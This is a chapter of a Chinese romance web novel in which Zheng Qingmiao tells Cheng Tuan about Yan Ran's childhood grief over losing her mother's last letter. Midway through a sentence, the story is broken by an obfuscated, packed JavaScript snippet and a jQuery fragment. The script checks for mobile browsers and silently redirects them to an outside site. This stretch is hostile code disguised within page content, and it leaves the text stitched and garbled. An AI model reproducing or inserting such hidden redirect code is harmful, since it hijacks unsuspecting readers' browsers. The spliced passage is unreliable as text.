32. 有失有得
作品:《嫁给死太子还是活状元》 郑清庙虽然教养甚高,但心气更高。这世间的条条框框很多,对他来说就更多,他不会遵守,向来随心而动。
“郑师兄……”
“我好像不是你师兄。”郑清庙看着晏然上了程府的马车,悠悠地开口,美目一挑,嘴角还带着笑。
“郑兄来京城有何贵干?”程湍面色更冷,也没有打个招呼抬脚便往前走。
“你们一个两个都不信我。”郑清庙抱怨。
我才认识你不到一刻为何要信你。
程湍不语,一味审视。
“当然是给这小家伙送东西。”郑清庙拍了拍胸前的口袋,“程状元大概是不懂的,这世间,不只是人有高低贵贱,石头也有。好的石头才能磨出好的颜料,一点点就价值千金。这点石子是不远万里从夏西漠国弄过来的,我必得护送一趟才安心。”
在江表时,程府也曾跟夏西漠国打过交道,葡萄美酒,宝石琉璃,令人眼花缭乱。
“只是送点石头?”程湍依旧不相信。
“那……程大人希望我过来是干什么呢?”郑清庙淡淡地疑问,“我还没有问那小兔崽子,为何放着家里府邸不住,非要与你这冰块住在一处?”
程湍听这话,嘴唇紧抿,不做任何解释。
“你虽脸长得不错,官职……等等,你有官职吗?”
“泯县县令权知大理寺正。”
“我才疏学浅,未曾行过几里路,请问泯县是在哪里啊?”
“江表。”
“啧啧,状元的授官还真是每况愈下。我们大闰国文胜于武,要不你学几年刀枪剑戟说不定能领个不错的官职。”
程湍笑了笑,“你问这些有什么用?”
街上人纷纷侧目,一黑一白的两个高个男子,皆是气度不凡,行走起来脚下生风,一位脸色极差,一位辨不出是笑还是不笑。
“得回去好好和小崽子说说,她师门贵重,师承尊贵,少和这俗世里的俗人打交道,会变得不可爱的。”
“所以郑兄以为自己在俗世之外?”
“我当……”
“无能之人才避世。”
“呵呵,”就要到程府门口,郑清庙站定,“这么看,程大人也有什么心胸抱负一类的东西?”
程湍直接走上台阶,转身看向站在地上的郑清庙。
“估计郑兄不懂。”
身后的护卫打开大门,程湍吩咐,“这位是晏姑娘的朋友,远来是客,大家要好生招待。”
“是。”护卫们齐刷刷地作答。
郑清庙倒是毫不拘束,将程府里里外外参观个遍,不过第五进院子没去成,路被封住了。
晚上三人坐在一张桌子上用饭。安静地吃完饭,大娘端来两碗药。
晏然就见程湍皱了眉头,于是直接叫大娘来盘蜜饯。
“你们俩……一起喝药?”郑清庙闻了闻,“你的是补气安神的,”又凑到程湍的碗边,“噫,你这个会很苦吧,解毒的,你中毒了?……哦,这毒会让人神志不清吧?”
“那我的呢?没有给我准备什么药?”郑清庙无辜地看向晏然。
晏然无奈笑笑,拿起一个杏脯吃下,麻利地喝下药,又拿起一块放到程湍手里。
“我也要。”郑清庙更加可怜。
晏然抓起两三个递给师兄。师兄还真是一点都没变,和在山上时候差不多。
“不过你为何要喝这个药?难不成是因为你之前提过的噩梦?”
晏然警醒,下意识冲师兄摇摇头,立马打断,“师兄,今日也有些晚了,你先歇息吧,明日我们再说石料的事。”
但是来不及了,程湍将喝到一半的药碗放了下来,看着她。
“这药很苦的,快,吃个杏脯。”晏然慌乱地又往程湍手里塞杏脯,“嗯,我有些困了,先去睡了,程大人,师兄就拜托您照顾下了。”
在两个男人注视下,晏然跑了。
碗筷被收拾下去了,两个男人还坐在桌子上。
“我瞧着你书房前面的亭子不错,不如我们去聊聊。”郑清庙先开了口,他屁股要做麻了,怎奈一共四个椅子,只有晏然的椅子上有坐垫。
两人往后走,亭子就立在桥边,水道里没有水,书房的灯还远远地亮着。
亭子里几乎无风,亭子外慢慢地阴云密布起来。
程湍知道,这位师兄或许了解很多他不知道的晏然的过往,很多晏然要隐瞒的事情。
他很想知道。
“那小家伙先跑了,唉,不像小时候,她小时候长得挺圆乎的,现在却很瘦。”郑清庙好似知道要被问些什么似的,先把话头引到了晏然身上。
程湍见过她小时候的样子,亲眼见过,并不用郑清庙在这里回忆描述。
“药是你找人配的?”
“嗯,她的身子状况并不好,需要长期调养。”程湍站着,透过镂空窗子,看书房那边的灯光。
“我在犹豫我要不要和你说些什么?或者是该不该。将来你会以一个什么样的身份在她身边,你看起来……反正我看不出什么将来,在你身上。”郑清庙的嗓音突然低沉,他向来天之骄子,说话直接刺耳。
“你何时认识的她?”郑清庙看向程湍,轻佻全无,眼神里竟染上了一层悲悯之色。
程湍心中一怔,思索很久,然后脱口而出,“我早就见过她,还在履霜山上的时候。”
“只不过,她不记得了。”程湍低头,看不出表情。
原来少时还见过,真是作孽。
“那你现在又是什么打算,或者,企图?”郑清庙眼中有厉色,审视和居高临下的拷问。
天空中轰隆作响,亭子里也能听见声音,但两人淋不到已经落下的雨。
天地瞬间阴沉,亭子恍若囚笼。
“郑兄,你有些急了。”
“人之常情。”
“郑兄不是不入俗世吗?”程湍收敛了脸上礼貌的笑意,“她的药该换换了,不知她还有何其他病症,还望郑兄告知。”
“你也很急。”
“履霜山天高路远,而我就在京城,我可以照顾她。”
“为什么啊?你凭什么啊?你知道她是谁吗。就凭你,不够。”
“所以她是谁?”程湍面色发白,眉眼如刀,嘴紧紧抿着,眼神上扬,是猛虎捕猎时的势在必得。
郑清庙看着程湍的样子,摇了摇头,又笑了一声,“造孽啊。”
程湍皱眉,风簌簌地吹着他的衣襟。
郑清庙站起身,掏出一根短香,插到窗台的细缝中,点燃。手摸上窗棂,挡住一点风,雨刮进来,打在他纯白色的衣衫上。
他只仁慈地施舍一点点,就这一点点,不会再多了。
“你知道为什么她那么小就上山了吗?因为她娘在她三岁的时候死了,三岁孩童本记不得什么。可惜她娘死前就与她待在一处,她娘让她带着遗书先走。然后她就走了,或许是路太长,又或是一封书信对于三岁孩子来说还是太沉重,遗书被落下,找寻不得。”
“看起来就是她的错对吧。她父亲,就是那晏守机,踹了她一脚,将她罚在大门外一天一夜,那时候应该是寒冬腊月。”
“后来,晏守机悲痛不已,不想看到这个女儿,就把她带到山上。”
“她一开始没有师父的,因为……太小了,又很普通,就是看不出有什么奇特根骨,而且几乎山上所有的师父都知道,她娘死了她一走了之还丢了信。”
程湍眉头紧锁。
“她常常出现在山上没人的角落,就一个人,一个小奶团子。后来我有次回山碰见了她。”
“这么小的孩子在山上实在罕见,我天性散漫,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588245|169946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时常逗她。她一开始不怎么会说话,但会笑,就冲着你傻傻地笑,保持一定的距离。你走了她不跟着,你来了她就坐在一旁听你说话。”
“大概过了些时日,她突然就拦住我,说听说哥哥很厉害,不知道可不可以问个问题。”
“你知道她问什么吗?她问,我丢了件东西,怎么找也找不到,该怎么办呢?”
“我说,你丢了什么呢?”
“她坐在那想了半天,摇了摇头,然后跟我说,就是丢了东西,要怎么找到呢?”
“她不想别人知道她弄丢了母亲的遗书,所以根本不接话。”郑清庙笑笑。
“我知道她丢了什么,她父亲当年找了很长时间,没找到。但这事明显把她活生生地压住了,那么大点儿的一个孩子。”
“我跟她说,你太小了,或许不明白,有得必有失,有失才有得。”
“那是我随口一说的话,因为那东西找不到了,又没法和一个小孩子说清楚什么。她听得云里雾里。”
程湍静静地低头听着,外面风雨交加,他长袍也被吹起一点儿,吹皱了。
“再后来,我就走了。一两个月吧,再回去的时候,听说她拜了师门,师从冰方盛,学习石刻。我还挺高兴的,她也算是有师承了,不至于成天在山上傻跑。”
“只是……我有次偶然间拾到一块玉石,上面的字和画极为稚嫩,我只能想到是她的。我就去找她还给她,她说谢谢,还是满脸的笑,脸红扑扑的。
“她去山顶小屋住了,那里不暖和。”
郑清庙转身看向程湍,“可她是谁啊?她就不是一般人。”
“我之后又捡到好多次类似的石块,木块,我每次都给她送回去,告诉她要好好保管,她什么都不多说,只说谢谢。”
“直到,我又捡到了第一次捡到的那块极好的玉石。”
程湍手紧紧攥着,横眉冷眼抬头。
“我实在是疑惑,我去找她,问她为何又丢了。她说对不起哥哥,她太想找回她丢了的东西。”
“我不明白,我要她解释。”
“她近乎吓哭了一般,说,她用了很长时间搞懂了‘有失有得’的意思。她说知道了,如若她想要得到什么,她就要先失去一些东西。”
“所以,她把觉得刻得很好的石头都扔了,扔在山林里各个地方。她说她想要得到她失去的东西。”
“她还说,那东西很贵重,她或许要一直失去,才可以得到。”
“我知道她说的是她娘的遗书。”
“有失有得哪里是这个意思,她想用失去来换得到。可她忘了,她已经先失去了,那份遗书。”
郑清庙盯着沉重的雨幕,雨哗哗地下,天也慢慢亮起来,变得透亮地蓝。
“但或许真的是这样吧,她失去的还不够多……”
程湍起身,将镂空的窗子推开,雨一下子触手可及。
“当然还有很多事情,你也不知道。你理解不了她,别还没什么自保能力,就先让她得到了,哪天又死了,她估计也要搭上什么性命之类的。你还不配。”
哈,这话说出来又有什么意义,早就搭上了。郑清庙只能暗戳戳地骂,莫名其妙地愤怒,气急败坏地斥责仅仅还只是互相认识的朋友的他们。
“小孩子如果吃了糖会牙疼,那就别吃了,从一开始就别让她吃到,嘴馋也很痛苦。”
“那噩梦呢?”程湍终于张了张嘴,问道。
郑清庙煞有介事地盯着程湍看,“那个,你就更不配知道了。”
他将窗户一把关上,那根香还剩下一小截,努力地燃烧着,“药单我会亲自调整,还麻烦你程府煎药了。”
噩梦的源头就站在他面前,如此大义凛然地问,郑清庙心中忽地燃起一把火。
他转身走出亭子,走进雨里,浇个清醒。